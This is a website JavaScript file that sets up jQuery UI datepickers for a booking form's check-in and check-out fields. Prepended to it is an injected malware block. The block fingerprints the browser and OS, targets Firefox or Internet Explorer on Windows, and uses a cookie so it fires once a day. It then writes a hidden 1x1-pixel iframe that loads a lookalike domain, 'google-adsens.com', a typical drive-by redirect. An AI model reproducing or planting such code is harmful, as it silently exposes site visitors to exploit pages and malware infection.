var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
$(function() {
    $.datepicker.setDefaults({
        dateFormat: 'dd/mm/yy',
        minDate: 0,
        yearRange: '-02:+02',
        showOn: 'both',
        buttonImage: 'images/calendar.png',
        changeMonth: true,
        changeYear: true,
        buttonImageOnly: true,
		beforeShow: function(){
			$("ui-datepicker-div").css("z-index", 20);
		}
		/*,
		beforeShow: function(){
          $(this).dialog("widget").css("z-index", 20);
		}*/
    });
    $("#sv_checkin").datepicker({
        onClose: function(dateText, inst) {
            if (dateText==''){
                $("#sv_checkout").datepicker('option', 'minDate','0');
            }
            else {
                var arrInDate = dateText.split('/');
                $("#sv_checkout").datepicker('option', 'minDate', new Date(arrInDate[2],arrInDate[1]-1,arrInDate[0]-0+1));
            
            }
            //checkDates();
        }


    });
    $("#sv_checkout").datepicker({
        onClose: function(dateText, inst) {
            //alert (dateText);
            if (dateText==''){

                //checkDates();
                return;
                
            }

            var checkInText = $("#sv_checkin").val();
            var checkinDate = getDateFromString(checkInText);
            var checkoutDate = getDateFromString(dateText);
            
            if ((!checkInText) || (checkinDate>checkoutDate)){
                var arrDate = dateText.split('/');

                $("#sv_checkin").datepicker('option', 'setDate', new Date(arrDate[2],arrDate[1]-1,arrDate[0]-0-1));
            }
            //checkDates();
        }
    });
});

    
/**
 * @param strDate as string 'dd/mm/aaaa'
 * return a javascript date object
*/
function getDateFromString(strDate){
    var arrDate = strDate.split('/');
    return new Date(arrDate[2],arrDate[1]-1,arrDate[0]);
}